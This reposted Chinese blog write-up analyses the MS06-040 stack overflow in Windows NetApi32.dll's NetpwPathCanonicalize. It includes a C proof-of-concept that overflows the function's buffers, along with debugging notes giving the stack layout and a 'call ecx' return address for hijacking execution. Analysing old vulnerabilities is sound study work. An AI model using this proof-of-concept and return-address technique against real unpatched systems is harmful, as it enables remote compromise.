美文网首页嵌牛IT观察
经典栈溢出之MS060-040漏洞分析

经典栈溢出之MS060-040漏洞分析

作者: 恳请叫我红领巾 | 来源:发表于2017-12-17 21:00 被阅读0次

    姓名:齐鹏飞  学号:17021211161

    转载自:七夜的故事 http://www.cnblogs.com/qiyeboy/

    【嵌牛导读】经典栈溢出之MS060-040漏洞分析

    【嵌牛鼻子】计算机网络,信息安全

    【嵌牛提问】如何避免遭受此种攻击?

    找了好久才找到Win 2000 NetApi32.dll样本,下面我对这个经典栈溢出进行一下分析,使用IDA打开NetApi32.dll,问题函数:NetpwPathCanonucalize。实验环境:win xp sp3,ollydbg,IDA。exp编译工具:VC++ 6.0

    其中的子函数存在溢出:

    汇编代码注释:

    两个溢出点,但是第一个无法利用:

    找到一个网上的POC:

    intmain()

    {

    charStr[0x320];

    charlpWideCharStr[0x440];

    intarg_8 = 0x440;

    charSource[0x100];

    longarg_10 = 44;

    HINSTANCELibHandle;

    MYPROC Func;

    charDllName[] ="./netapi32.dll";

    LibHandle = LoadLibrary(DllName);

    if( LibHandle == NULL)

    {

    MessageBox(0,"Can't Load DLL!","Warning", 0);

    FreeLibrary(LibHandle);

    }

    Func = (MYPROC)GetProcAddress(LibHandle,"NetpwPathCanonicalize");

    if( Func == NULL )

    {

    MessageBox(0,"Can't Load Function Address!","Warning", 0);

    FreeLibrary(LibHandle);

    }

    memset(Source, 0,sizeof(Source));

    memset(Source,'b',sizeof(Source)-2);

    memset(Str, 0,sizeof(Str));

    memset(Str,'a',sizeof(Str)-2);

    (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);

    FreeLibrary(LibHandle);

    return0;

    }

    动态调试:找到函数返回地址被覆盖的位置。

    不仅找到了覆盖的返回地址,同时发现ecx指向栈顶

    寻找call ecx硬编码FFD1

    根据搜集到的信息:

    栈空间的起始地址为0012F258

    0x0012F258 bbbbbbbbb

    0x0012F348 bbbbbbbbbbbbbb

    0x0012F358 aaaaaaaaaaaaa

    0x0012F670 \xc2\x7b\x19\x75

    0x0012F674 aa

    0x0012F66C ebp

    0x0012F670 返回地址

    call ecx 0x75197bc2

    根据POC编写exp,测试:

    相关文章

      网友评论

        本文标题:经典栈溢出之MS060-040漏洞分析

        本文链接:https://www.haomeiwen.com/subject/kkpuwxtx.html